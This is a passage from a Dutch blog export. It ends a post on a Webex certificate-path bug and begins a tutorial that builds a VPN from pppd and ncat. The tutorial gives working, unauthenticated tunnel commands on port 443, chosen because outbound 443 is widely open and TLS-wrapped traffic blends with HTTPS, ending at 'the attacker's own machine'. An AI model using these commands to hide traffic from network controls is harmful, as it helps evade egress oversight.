dagelijks doet, op deze schaal, voor dit geld. Vakmensen die dit elke dag doen hebben geen excuus, en groot zijn is er geen.\nEn mag ik er nog één stellen, want dat is degene die er echt toe doet. Jullie verkopen firewalls. Jullie verkopen een e-mailgateway, een VPN-concentrator, een identiteitsdienst, een beheercentrum voor dat alles, en het verhaal bij alle is dat jullie dit beter begrijpen dan jullie klant. Hoe levert een bedrijf dat zich neerzet als autoriteit op netwerkbeveiliging dan een client uit die een certificaat niet kan valideren? Niet: hem niet slim genoeg valideert. Er geen kan opzoeken, omdat de map er nooit was.\nEr bestaat geen versie van dat antwoord die ik wil horen die begint met dat het bureaubladteam los zou staan van het apparatuurteam. Het is dezelfde handtekening, dezelfde pijplijn, dezelfde gepubliceerde bewering over een ondersteund platform, en dezelfde ontbrekende stap aan het eind, namelijk de doos openmaken. Als certificaatvalidatie voor het uitleveren niet wordt gecontroleerd in het product waar breuk luid en onschadelijk is, heb ik geen reden te geloven dat ze wordt gecontroleerd in het product waar breuk stil en duur is.\nEn het eerlijke deel, gewoon gezegd. Niets hiervan verraste me. Ik ben dit niveau van deze leverancier gaan verwachten, en daarom koop ik, waar de keuze aan mij is, hun apparatuur niet en bouw ik er niet op. Dat is geen voorkeur voor logo\u0026rsquo;s. Het is hetzelfde oordeel dat ik over elke leverancier zou vellen: ik heb hun werk gemeten, meer dan eens, en het komt steeds hetzelfde terug. De catalogus hierboven is één meting. Wat de eerste helft van dit stuk kostte is een tweede.\nDe reden dat ik überhaupt op Webex zat is dat de keuze niet aan mij was, en dat is het benoemen waard, want dat is de positie waarin de meesten die dit lezen zitten. Je komt zelden onder een leverancier uit wiens kwaliteit je al hebt gemeten. Iemand anders tekent het contract, de spullen komen binnen, en de eerste die erachter komt wat er in de build is overgeslagen ben jij, aan je bureau, met een vergadering die begint.\nIets uitleveren dat je nooit hebt gedraaid Er zal een interne verklaring komen. Een drukke sprint, een pijplijn die van eigenaar wisselde, een platform zonder eigenaar. Geen ervan is het horen waard, want ze beschrijven allemaal hetzelfde: het werk is niet gedaan en niets in het proces eiste dat het wel gebeurde.\nEr bestaat in de ambachten een oude norm die het nooit tot de software heeft gebracht: je verlaat de klus niet voordat je het ding hebt laten draaien. Je vult de installatie en controleert elke koppeling. Je zet spanning op de kast en test elke groep. Niet omdat je aan je werk twijfelt. Omdat de klant het gaat gebruiken, en erachter komen waar hij bij staat is geen professionele uitkomst. Niemand kijkt toe terwijl je het doet. Je doet het toch. Dat is de hele betekenis van het woord.\nSoftware voert al dertig jaar aan dat het anders is, dat de build het op te leveren product is en de installatie het probleem van iemand anders, dat een groene pijplijn hetzelfde is als een werkend product, en dat is niet zo. Een build die nooit buiten de container is uitgevoerd die hem maakte is niet afgemaakt, hij is achtergelaten op het punt waar afmaken saai wordt. Alles wat erop volgt is een bewering over werk dat niet is gedaan.\nDe oplossing is één configuratievlag. De controle is één regel shell. De kosten van geen van beide zijn het interessante; het interessante getal is hoeveel mensen hun inloggegevens in een Webex-venster typten, keken hoe het zei dat hun internet eruit lag, en het geloofden, omdat Cisco het ze vertelde en Cisco een netwerkbedrijf is. Dat is wat de ontbrekende test werkelijk kocht: geen bug, maar een leugen die het product met overtuiging vertelt, bij elke start, aan mensen die geen manier hebben om beter te weten.\nEn dat is de streep die het waard is te trekken voordat je het tabblad sluit, want de twee helften van dit stuk zijn geen twee onderwerpen. Een vertrouwenspad dat naar een buildcontainer wijst en een authenticatieomzeiling op een randapparaat zijn dezelfde fout met andere inzet. Beide zijn een waarde die niemand controleerde, in een artefact dat niemand draaide, ondertekend door een proces dat herkomst bevestigt en geen geschiktheid. Die voor mijn neus was de onschadelijke soort. Hij ging luid stuk, op mijn eigen bureau, en ik wist het als eerste. De andere soort doet dat niet voor je.\nDezelfde ontbrekende controle met twee inzetten, en maar één ervan zegt het je Eén ontbrekende controle, twee inzetten. Maar één ervan zegt je dat hij er is. Dezelfde fout: een waarde die niemand nakeek, in een artefact dat niemand draaide, ondertekend voor herkomst, niet geschiktheid De soort die luid stukgaat wat het was een pad naar een vertrouwensopslag dat niet bestaat wie het vond de klant, bij de eerste start wat het kostte één avond, één bureau wie het hoorde ik, meteen Eindigt in het openbaar opgeschreven. De soort die niets stukmaakt wat het was een lengte die niemand begrensde wie het vond wie ernaar zocht wat het kostte een incident wie het hoorde de klant, uit het rapport Eindigt als 1 van Cisco's 98 in de catalogus. Een proces dat de linkerkolom niet vangt, ging de rechter nooit vangen. Het verschil is geluk, geen zorgvuldigheid. Het defect in dit stuk en de vermeldingen in die catalogus zijn dezelfde fout in andere kleren. De ene meldde zich bij de eerste start op mijn bureau. De andere soort meldt zich eerst bij iemand anders. Niemand bij Cisco besloot een misbruikbare firewall uit te leveren, net zomin als iemand besloot een client uit te leveren die het internet niet kan bereiken. Dat is geen verdediging. Het is de aanklacht. Geen van beide hoeft te worden besloten, en dat is precies het probleem: beide zijn wat er aan de andere kant uit komt als een pijplijn compileert, ondertekent en publiceert zonder dat iemand verantwoordelijk is gemaakt voor het openen van het resultaat. Een proces dat een map die niet bestaat niet vangt, ging een lengte die niet wordt gecontroleerd nooit vangen, en een leverancier die je het apparaat verkoopt dat je grens bewaakt heeft geen recht op dat proces.\nDus als de naam van een leverancier steeds op die lijst blijft opduiken, weersta dan de comfortabele verklaring dat ze simpelweg groot zijn en zwaar in de schijnwerpers staan. Schaal verklaart het aantal. Het verklaart de soort niet. Kijk in plaats daarvan naar wat hun buildproces met de saaie dingen doet, want de saaie dingen zijn van buitenaf meetbaar, door jou, vandaag, op spullen die je al hebt.\nControleer je eigen bundels. strings en readelf en twintig minuten vertellen je welke van je leveranciers een pad uitleveren naar een machine die je nooit zult zien. Wat je in werkelijkheid meet is niet het pad. Het is of daar iemand zat te kijken, en als het antwoord nee is bij iets dat zo goedkoop te vangen is, weet je al wat het is bij de dingen die dat niet zijn.\nCisco — Webex App system requirements — de lijst met ondersteunde platformen, Linux inbegrepen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — INSTALL.md, --openssldir — “Directory for OpenSSL configuration files, and also the default certificate and key store.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — SSL_CTX_load_verify_locations(3) — het standaard CA-bestand is cert.pem en de standaard CA-map certs, beide binnen de standaard OpenSSL-map; en over retourwaarden: “A missing default location is still treated as a success.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConan 2 — conan cache — pakketbinaries staan onder een gehasht pad in de lokale cache, en daar komt /workspace/.conan2/p/b/\u0026lt;hash\u0026gt;/p vandaan.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — openssl-env(7) — SSL_CERT_DIR en SSL_CERT_FILE “specify the default directory or file containing CA certificates”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — provider(7) — de standaardprovider en wat een configuratie die hem weglaat onbeschikbaar maakt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — config(5) — het configuratiebestand dat OpenSSL bij de initialisatie laadt, en waar ernaar wordt gezocht.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfreedesktop.org — XDG Base Directory Specification — “The base directory defined by $XDG_DATA_HOME is considered more important than any of the base directories defined by $XDG_DATA_DIRS.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfreedesktop.org — Desktop Entry Specification — waar naar .desktop-bestanden wordt gezocht en hoe het ene het andere met dezelfde naam overschaduwt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFilesystem Hierarchy Standard 3.0 — de mappen die een hoofdbestandssysteem geacht wordt te bevatten, /workspace niet daaronder.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nupdate-ca-trust(8) — hoe de samengevoegde bundel onder /etc/pki/ca-trust/extracted op Fedora en verwanten wordt gemaakt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nld.so(8) — $ORIGIN wordt uitgebreid naar de map die het programma of gedeelde object bevat, en dat is wat een gebundelde boom verplaatsbaar maakt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc timeline — “2018-08-01 GLIBC 2.28 — The GNU C Library version 2.28 is now available”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc — Release wiki — de tabel van versie naar distributie; Red Hat Enterprise Linux 8 is glibc 2.28.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRPM — spec file reference — %config en wat de pakketbeheerder doet met een bestand dat als configuratie is gemarkeerd.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora packaging guidelines — configuration files — wanneer een meegeleverd bestand als %config moet worden gemarkeerd.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc FAQ — waarom een statisch gelinkt glibc-programma tijdens het draaien alsnog de NSS-modules van de host nodig heeft.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCISA — Known Exploited Vulnerabilities Catalog — geteld uit de gepubliceerde JSON-feed, catalogusversie 2026.09.14, 1.710 vermeldingen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/certificates/webex-certificates-on-a-build-server/","summary":"Webex 46.8.0.35631 op Fedora 44 zit achter een gele banner met “Offline - No internet connection” terwijl elk ander programma op de machine zonder klagen het internet bereikt. Het legde de VoIP-lijn plat. Het netwerk was nooit het probleem: Cisco levert een eigen fork van OpenSSL mee en bouwde die met OPENSSLDIR op /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl, een map die op een buildcontainer bestaat en nergens anders, dus laadt hij geen vertrouwensankers en faalt elke handshake. Het stuk loopt op volgorde: wat de kapotte toestand echt is, de meegeleverde bibliotheek vragen waar zij denkt dat haar certificaten staan, de exacte foutcode buiten Webex reproduceren, waarom niets waarschuwt, de twee oplossingen die niet werken en waarom, en de ene die wel werkt. Dan het buildproces: ze gebruikten $ORIGIN voor de code en lieten drie datapaden absoluut, de RPM-header noemt een container-ID, dus de container zat al in de pijplijn en is nooit gebruikt om het resultaat te draaien, het pakket eist een glibc uit 2018 omdat ze niet statisch willen linken, 2,2 GB wordt twee keer uitgeleverd, en er zit geen documentatie bij en geen bestand dat als configuratie is gemarkeerd. Dan hoe het gebouwd had moeten worden, de zes oplossingen en de controle van één regel die dit vangt. En tot slot de kruiscontrole: Cisco heeft 98 vermeldingen in CISA\u0026rsquo;s catalogus van actief misbruikte kwetsbaarheden, alleen Microsoft staat hoger, en een vertrouwenspad dat niemand controleerde en een omzeiling die niemand controleerde zijn dezelfde fout met andere inzet.","title":"Webex zoekt jouw certificaten op een Cisco-buildserver"},{"content":"Een VPN is geen product. Het zijn twee taken aan elkaar geschroefd, en jouw machine heeft voor allebei al een programma.\nDe eerste taak is een virtuele link maken — een interface die eruitziet als een netwerkkaart, IP-pakketten aanneemt en ze elders aflevert. De tweede is de bytes van die link van het ene eind naar het andere dragen. Koop een VPN-appliance en je koopt beide taken met een licentie erop geniet; doe het zelf en elk ervan is één programma dat al geïnstalleerd is. Er zijn onder Linux twee manieren om de eerste taak te doen, en dit stuk bouwt ze allebei: pppd, dat een heel linkprotocol meebrengt — onderhandelde adressen, een levenscheck, framing — en een tap-device, dat niets meebrengt en een gat in de kernel is waar je frames in duwt. Verschillende afwegingen, geen concurrenten, en de tweede helft zet ze naast elkaar.\nDat protocol is PPP, en de reden dat dit werkt staat in zijn eerste alinea: PPP is een linkprotocol voor punt-tot-punt-verbindingen1, en het legt niet vast waar de link van gemaakt is. Een modem en een telefoonlijn waren het oorspronkelijke antwoord. Ze waren nooit het enige. PPTP stopte PPP in GRE2. L2TP stopte het in UDP3. PPPoE stopte het in ethernetframes. Stuk voor stuk hetzelfde protocol met een andere koerier, en geen van alle vroeg om een wijziging aan PPP.\nDe vraag is dus niet óf je PPP over een TCP- of UDP-socket kunt draaien, maar welke van de twee, en wat het kost. Het korte antwoord, met het rekenwerk erbij: neem UDP. Een streamprotocol binnen een betrouwbare stream draaien is hier de ene fout die op je bureau prima oogt en op een echte lijn uit elkaar valt.\nEen VPN Is Twee Taken. Je Hebt Ze Allebei Al. Trek van welke tunnel dan ook de marketing af en er gebeuren drie dingen: iets presenteert een virtuele interface en maakt van pakketten een bytestream, iets draagt die stream over een netwerk dat al werkt, en iets versleutelt hem, of niets doet dat.\nElke tunnel is een linkhelft, een drager en wat cryptografie Elke keer dezelfde drie delen. Alleen de drager en de crypto veranderen. TUNNEL LINKHELFT DRAGER CRYPTO Inbel-PPP, 1994 PPP modem en een telefoonlijn geen PPPoE PPP ethernetframes geen PPTP PPP GRE MPPE — gebroken, niet doen L2TP over IPsec PPP UDP IPsec Dit stuk, bouw één PPP over een pty UDP-socket, via netcat DTLS Dit stuk, bouw twee tun- of tap-device UDP-socket, via socat DTLS WireGuard kernelinterface UDP Noise, en niets te onderhandelen Elke tunnel in deze lijst heeft dezelfde vorm. De verschillen zitten in welke drager de bytes in gaan, en of er iets versleutelt. PPP doet de linkhelft al sinds 1994, en daarom duikt het onder drie ervan op zonder dat het voor een van de drie is herontworpen. Een tun- of tap-device doet diezelfde helft helemaal zonder protocol, en dat is de tweede bouw in dit stuk. PPP doet de linkhelft netjes — adresonderhandeling, een levenscheck, headercompressie, meerdere netwerklaagprotocollen over één link, een authenticatiestap als je die wilt — een hoop afgerond werk dat in /usr/sbin niets ligt te doen. Wat het niet doet, is zich druk maken over de drager: geef het een filedescriptor die bytes twee kanten op beweegt en het draait eroverheen. Netcat is een programma waarvan het hele bestaansrecht is om die filedescriptor te zijn.\nDe versleuteling is het deel dat niemand je aanreikt, en het is het deel waar het meeste van dit stuk aan opgaat, want netcat heeft er geen antwoord op en doen alsof van wel is hoe mensen dingen bouwen die ze niet moeten bouwen.\nDe Fasen, En Waarom Ze In Deze Volgorde Komen Alles hieronder wordt in fasen gebouwd, elke fase voegt één ding toe aan de vorige. Dat is geen lesmethode. Zo hoor je het te bouwen, want als fase zes stukgaat moet je weten of fase twee nog werkt, en dat weet je alleen als fase twee ooit iets was dat je op zichzelf hebt gedraaid.\nZes fasen, elk voegt één ding toe dat je apart kunt testen Bouw het in deze volgorde en je kunt er altijd weer af lopen 1 Rauw, over TCP pppd met een pty, of een tap-device, en een kale netcat-listener. Werkt op een werkbank. Smelt op een echt pad — twee vechtende hertransmissietimers. 2 Rauw, over UDP Dezelfde link, datagramdrager. Een verloren datagram is één verloren pakket en verder niets. Dit is het fundament. Alles erboven is optioneel; dit niet. 3 TLS, over TCP ncat, stunnel of openssl om de drager gewikkeld. Verifieer het certificaat aan beide einden, anders heb je versleuteling zonder identiteit en helemaal geen toegangscontrole. 4 DTLS, over UDP socat of openssl, en de vorm om op te mikken: versleuteld, geauthenticeerd, nog steeds datagrammen. Een verloren pakket blijft een verloren pakket in plaats van twee stacks die erover ruziën. 5 Gecomprimeerd zstd tussen de interface en de drager. Houd het venster over frames heen waar de drager in volgorde aflevert; één op zichzelf staand frame per datagram, plus een woordenboek, waar niet. 6 Allebei, in die volgorde Comprimeren, dan versleutelen. Nooit andersom — versleutelde tekst comprimeert niet. En ken de ruil: comprimeren vóór versleutelen lekt de lengte van de klare tekst. Prima op je eigen verkeer. Zes fasen, elk voegt één ding toe aan de fase eronder. Rauw over TCP is waar iedereen begint, en de enige sport die doodloopt: het werkt op een werkbank en smelt op een echt pad. Rauw over UDP is het fundament waar al het andere op staat. Daarna versleuteling, daarna compressie, daarna allebei samen. Elke fase is een link die je kunt opbrengen, waar je overheen kunt pingen en die je kunt laten draaien, zodat je bij gedoe bovenaan de ladder er sport voor sport weer af kunt lopen. De link zelf wordt op dezelfde manier gebouwd — de redenering achter de oploop van één seconde staat verderop: een tunnel komt rauw op, bewijst dat hij een frame kan dragen, en wordt pas daarna slim. Een bouw die alles tegelijk aanzet faalt als één klomp, en dan ben je de avond kwijt aan raden welke laag het deed.\nWat pppd Eigenlijk Wil Is Een Filedescriptor pppd is voor seriële poorten geschreven, dus de naïeve lezing is dat het er een nodig heeft. Dat is niet zo. Het heeft een terminaldevice nodig, en het maakt er zelf een aan:\npty script — Specifies that the command script is to be used to communicate rather than a specific terminal device. Pppd will allocate itself a pseudo-tty master/slave pair and use the slave as its terminal device. The script will be run in a child process with the pseudo-tty master as its standard input and output.4\nLees dat nog eens — de hele bouw zit erin. pppd maakt een pseudo-terminal, houdt de slave, en geeft de master aan een commando als stdin en stdout. Wat dat commando met de bytes doet, gaat pppd niets aan. Draai daar nc en ze gaan een socket in.\npppd, een pseudo-terminal, netcat en een socket Eén pakket, van ppp0 naar ppp0, en elke hand waar het doorheen gaat HOST A HOST B ppp0 kernelinterface pppd HDLC-framing pty-paar slave naar pppd master naar het kind ncat stdin en stdout pty-paar master naar het kind slave naar pppd ncat stdin en stdout pppd HDLC-framing ppp0 kernelinterface de socket — TCP of UDP De twee kaders in het midden zijn het enige deel dat jij kiest. Alles aan weerskanten blijft gelijk of de drager nu een telefoonlijn, een seriële console, een TCP-stream, een stroom UDP-datagrammen of een TLS-sessie is — daarom kost de drager wisselen later één woord. Een pseudo-terminal heeft geen carrier-detectpin, dus wacht pppd op een drager die nooit komt. De optie `local` is wat dat stopt. pppd spreekt asynchroon HDLC de slave-kant in van een pseudo-terminal die het zelf heeft aangevraagd. Het commando dat pty noemt erft de master-kant als stdin en stdout. Netcat kopieert stdin naar een socket en de socket naar stdout, dus de twee pppd-instanties praten met elkaar via het pty-paar en het netwerk, zonder dat een van beide weet dat er een socket bestaat. Er is een tweede route, notty, die in plaats daarvan pppd\u0026rsquo;s eigen stdin en stdout gebruikt. Maar die start een tekenschuifproces waar elke byte doorheen gaat, dus het verhoogt “the latency and CPU overhead”4. Neem pty, tenzij je een reden hebt om dat niet te doen.\nDrie praktische feiten vóór het eerste commando, alle drie gecontroleerd op de machine waarop dit geschreven is — Fedora 44, ppp-2.5.1-7.fc44:\n$ pppd --version pppd version 2.5.1 $ ls -l /usr/bin/pppd /dev/ppp -rwxr-xr-x. 1 root root 393784 Jan 17 2026 /usr/bin/pppd crw-------. 1 root root 108, 0 Sep 14 08:34 /dev/ppp $ pppd noauth nodetach pty \u0026#39;true\u0026#39; pppd: using the noauth option requires root privilege Het heeft root nodig. Daar is niet omheen te komen. Het binary is op Fedora niet setuid, /dev/ppp staat op modus 0600 en is van root, en de opties die je nodig hebt zijn sowieso privileged. Dit is iets dat je als root draait of onder een unit-bestand, niet iets dat een gebruiker er even bij doet. Dat is later van belang, als we bij de betekenis voor je egressbeleid komen.\nDe kernelkant is modulair. ppp_generic doet de interface, ppp_async de byte-gestopte framing die een pty nodig heeft, en ppp_deflate/bsd_comp/ppp_mppe compressie en versleuteling; ze laden op aanvraag. Ontbreekt ppp_async in een uitgeklede containerimage, dan komt de link op en draagt hij niets — een beroerd halfuur als je niet weet waar je moet kijken.\nModembesturingslijnen bestaan niet op een pty. Zonder carrier-detectpin wacht pppd op een drager die nooit komt. De oplossing is één woord, local, dat het zegt de modembesturingslijnen te negeren4. Laat je het weg, dan gebeurt er niets, zonder foutmelding waar je iets aan hebt.\nNetcat Is Niet Één Programma Vóór de bouw eerst de valkuil die de meeste tijd opeet: “netcat” is minstens vier programma\u0026rsquo;s met onverenigbare vlaggen, en welke je krijgt hangt af van je distributie. Op deze machine is /usr/bin/nc een symlink naar /usr/bin/ncat, de herschrijving van Nmap. Een commando dat je van een vijftien jaar oude wikipagina plukt faalt dus om redenen die niets met PPP te maken hebben.\nImplementatie Luisteren op een poort UDP Open blijven nadat een peer weggaat Ncat (Nmap) ncat -l 443 -u -k / --keep-open OpenBSD netcat nc -l 443 -u -k Traditional netcat nc -l -p 443 -u nee GNU netcat nc -l -p 443 -u nee Kijk dus welke je hebt voordat je pppd de schuld geeft:\nreadlink -f \u0026#34;$(command -v nc)\u0026#34; nc --version 2\u0026gt;\u0026amp;1 | head -1 || nc -h 2\u0026gt;\u0026amp;1 | head -1 Hieronder gebruik ik expliciet ncat. Dat is degene met TLS ingebouwd, wat later uitmaakt, en expliciet zijn betekent dat de commando\u0026rsquo;s op jouw machine niet stilletjes iets anders betekenen.\nFase Eén: De TCP-bouw, Want Dat Is Wat Iedereen Eerst Probeert Eén eind luistert, één eind verbindt. De adressen hier komen uit het documentatiebereik, dus plak ze zo in een lab en er sneuvelt niets routeerbaars. De poort is overal 443, en dat is opzet: uitgaand 443 staat op vrijwel elk netwerk standaard open. Wikkel de drager een paar fasen verderop in TLS en het verkeer erop is niet te onderscheiden van welke HTTPS-sessie dan ook. Daar een listener binden vereist root, en dat heeft het verre eind — de machine van de aanvaller zelf, of een relay. Dat is het hele egressargument in één poortnummer, en ik kom erop terug.\nOp het luisterende eind:\npppd nodetach noauth local passive \\ nodefaultroute noipdefault \\ 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --listen --keep-open 443\u0026#39; Op het verbindende eind:\npppd nodetach noauth local \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat 198.51.100.10 443\u0026#39; Elk woord daar doet werk, en één ervan, noauth, richt in stilte schade aan. De tunnel heeft geen toegangscontrole, en dat krijgt verderop een eigen sectie.\nElk woord op de pppd-regel, en wat het doet De commandoregel van de UDP-bouw, woord voor woord nodetach voorgrond, zodat je de uitvoer ziet en het onder een supervisor kunt zetten noauth geen peerauthenticatie — dit is het gat; de tunnel heeft geen toegangscontrole local negeer de modembesturingslijnen die een pty niet heeft. Zonder dit komt er niets op passive wacht op een geldig LCP-pakket in plaats van af te sluiten — serversocketgedrag nodefaultroute grijp de default route niet als IPCP klaar is. Zet de route die je wilt, zelf noipdefault bied het eigen adres van de machine niet aan als lokaal eind 192.0.2.1:192.0.2.2 lokaal:extern, vastgezet — pppd wijst tijdens IPCP elk ander antwoord af lcp-echo-interval / -failure de levenscheck — eigen sectie hieronder mtu / mru 1400 laat ruimte voor wat de drager ook om elk frame wikkelt pty '...' het commando waarvan stdin en stdout de link worden — hier een netcat-socket Het verbindende eind is dezelfde regel zonder `passive`: het initieert in plaats van te wachten. Elke optie op de regel, en wat die doet. Let op noauth: dat laat peerauthenticatie vallen, dus de listener accepteert wie er ook binnenkomt. nodefaultroute en noipdefault houden de link ervan af om stiekem je routering te herschrijven, local zorgt dat hij überhaupt op een pty opkomt, en het vastgezette lokaal:extern-paar houdt pppd ervan af tijdens IPCP een ander antwoord te accepteren. Het verbindende eind is dezelfde regel zonder passive. Breng beide einden op en je hebt aan weerskanten een ppp0, een punt-tot-punt-route naar het verre adres, en een interface waar je overheen kunt pingen, routeren en tcpdumpen. Dat is een VPN — geen pakket geïnstalleerd, geen daemon geconfigureerd, geen sleutel uitgewisseld, en dat laatste is het probleem, waar ik op terugkom.\nWat Het Onderhandeld Heeft, En Hoe Je Meekijkt Voeg debug toe en pppd logt de uitwisseling van het stuurprotocol, wat één keer lezen waard is, ook als je het daarna nooit meer leest. De link komt in stappen op, en elke stap kan op zichzelf falen.\nLCP, dan authenticatie, dan één stuurprotocol per adresfamilie Drie fasen, en elke faalt om een eigen reden 1 LCP — de link zelf Maximum receive unit, de stuurtekenmap, een magisch getal voor een teruggelusde lijn, en of een eind authenticatie van de ander wil. Faalt het hier, dan laat de drager bytes niet schoon in beide richtingen door. Kijk naar de socket, niet naar de PPP-opties. 2 Authenticatie — optioneel PAP stuurt een wachtwoord in klare taal. CHAP doet een challenge en MD5. Hier overgeslagen. Beide bewijzen wie de peer is. Geen van beide versleutelt één byte van wat volgt. 3a IPCP Het IPv4-adres aan elk eind. 3b IPV6CP De 64-bits interface- identifiers. Deze twee staan los van elkaar. IPv6 kan opkomen terwijl IPv4 nog ruziet, en een fout in het ene sleept het andere niet mee. De interface draagt verkeer voor een familie zodra het stuurprotocol van die familie klaar is. LCP regelt de link zelf — hoe groot een frame mag zijn, welke stuurtekens geëscaped moeten worden, en een magisch getal dat een teruggelusde lijn herkent. Authenticatie is optioneel en wordt hier overgeslagen. Daarna één stuurprotocol per netwerklaag: IPCP voor IPv4, IPV6CP voor IPv6. Ze zijn onafhankelijk, dus een link kan IPv6 dragen terwijl IPv4 nog ruziet, en een fout in de een sleept de ander niet mee. De twee nuttige debuggereedschappen zijn al geïnstalleerd en niemand gebruikt ze:\n# log elk frame in beide richtingen naar een bestand pppd ... debug record /tmp/ppp-trace # lees het daarna terug in leesbare vorm pppdump -h /tmp/ppp-trace | less record schrijft een capture met tijdstempels van elke byte, pppdump maakt daar iets leesbaars van4, en met tcpdump -ni ppp0 zie je beide kanten — de framing eronder en de pakketten erbovenop.\nHet Frame Op De Lijn, En Waarom 0x7E Overal Zit PPP over een seriële lijn — en een pty is er een, wat pppd betreft — gebruikt asynchrone HDLC-framing, en dat begrijpen is het verschil tussen dit afstemmen en gokken. Elk frame begint en eindigt met dezelfde byte: “Each frame begins and ends with a Flag Sequence, which is the binary sequence 01111110 (hexadecimal 0x7e)”5. Als 0x7e een grens markeert, mag hij niet binnen een frame voorkomen, dus wordt hij geëscaped. De escapebyte 0x7d ook, en al het andere waar een van beide einden om vraagt.\nHet frame, de vlagbyte, en wat escapen kost Eén frame, en de twee bytes die er nooit in mogen staan 0x7E vlag 0xFF adres 0x03 control protocol 1 of 2 bytes payload — jouw IP-pakket tot de afgesproken maximum receive unit FCS 16-bits CRC 0x7E vlag ESCAPEN, DE ENIGE REGEL DIE ER IS Elke byte die voor een grens aangezien kan worden wordt vervangen door 0x7D gevolgd door de oorspronkelijke byte XOR 0x20. payload 0x7E verstuurd als 0x7D 0x5E payload 0x7D verstuurd als 0x7D 0x5D Die twee zijn verplicht. Al het andere bepaalt de async control character map — 32 bits, één per stuurteken. Map op nul — de standaard van pppd, en juist op een socket Twee van de 256 bytes geëscaped. Overhead die je nooit meet. Een socket is een schoon 8-bits pad en heeft niets anders nodig. Alle 32 gezet — de behoudende modeminstelling Bij gecomprimeerde of versleutelde payloads ligt ongeveer één byte op de acht onder 0x20, dus verdubbelt die. Ruwweg 12% van de lijn, voor niets. Het frame is vlag, adres, control, protocol, payload, frame check sequence, vlag. Elke byte erin die voor een grens aangezien kan worden wordt vervangen door 0x7D gevolgd door de oorspronkelijke byte XOR 0x20. De ACCM bepaalt hoeveel andere bytes dezelfde behandeling krijgen: nul ervan op een schoon 8-bits pad, tweeëndertig als een van beide einden om de behoudende standaardwaarde vraagt die uitgaat van een modem die stuurtekens opeet. De escaperegel is exact: “Each Flag Sequence, Control Escape octet, and any octet which is flagged in the sending Async-Control-Character-Map (ACCM), is replaced by a two octet sequence consisting of the Control Escape octet followed by the original octet exclusive-or\u0026rsquo;d with hexadecimal 0x20”5.\nDat laatste deel is de afstemknop. De ACCM is 32 bits, één per stuurteken, en een 1 betekent “escape deze”. Vraag om alle 32 en op versleutelde payloads, waar de bytes in feite willekeurig zijn, valt ruwweg één byte op de acht onder 0x20 — zo\u0026rsquo;n 12% overhead voor niets.\nModerne pppd doet hier al het juiste. Lees de man-pagina in plaats van de folklore:\nIf no asyncmap option is given, the default is zero, so pppd will ask the peer not to escape any control characters.4\nasyncmap 0 is dus de standaard, geen truc, en een socket is een schoon 8-bits pad dat geen escaping nodig heeft buiten de twee verplichte bytes. Laat het met rust; zet alleen bits als er echt iets onderweg stuurtekens opeet — een terminalserver, een seriële concentrator, een slechte consoleproxy. De frame check sequence aan het eind is een 16-bits CRC, en dat is het ding dat de UDP-bouw laat werken — die nu volgt.\nTCP Over TCP Is De Verkeerde Drager De bouw hierboven werkt. Op een labtafel, over loopback of een rustig LAN, werkt hij prachtig, en precies daarom sturen mensen hem de deur uit.\nDan komt hij een echt pad met echt verlies tegen. Hij valt om op een manier die op van alles lijkt behalve op wat het is.\nHet probleem zijn twee onafhankelijke retransmissietimers die op elkaar gestapeld staan, waarbij de buitenste het verlies voor de binnenste verbergt. Olaf Titz schreef de definitieve uitleg, en opent precies op deze bouw:\nA frequently occurring idea for IP tunneling applications is to run a protocol like PPP, which encapsulates IP packets in a format suited for a stream transport (like a modem line), over a TCP-based connection. […] Unfortunately, it doesn\u0026rsquo;t work well. Long delays and frequent connection aborts are to be expected.6\nEén verloren pakket, twee dragers, twee heel verschillende uitkomsten Eén pakket raakt zoek. Wat elke drager vervolgens doet. TCP-DRAGER — de tunnel verbergt het verlies 1 De drager raakt een segment kwijt. 2 De drager verstuurt het opnieuw. De bytes komen laat, niet ontbrekend — en dat is het hele probleem. 3 De getunnelde TCP ziet de drager niet. Hij leest de vertraging als congestie, verdubbelt zijn timer en verstuurt data opnieuw die eronder al onderweg is. 4 Nu heeft de drager het origineel en een duplicaat, over een lijn die net bewees dat hij pakketten verliest. De rij groeit sneller dan beide lagen hem leegmaken. De doorvoer stort in ver voordat de lijn dat doet. UDP-DRAGER — het verlies bereikt de laag die het bezit 1 De drager laat het pakket vallen en zegt niets. 2 Het PPP-frame erbinnen faalt zijn checksum en wordt weggegooid. De volgende vlagbyte hersynchroniseert. 3 De getunnelde TCP ziet echt verlies, want voor één keer is hem de waarheid over het pad verteld. 4 Hij halveert zijn venster en verstuurt één keer opnieuw. De congestieregeling doet precies het werk waarvoor ze gemaakt is. Eén verloren pakket kost één pakket. De dragende 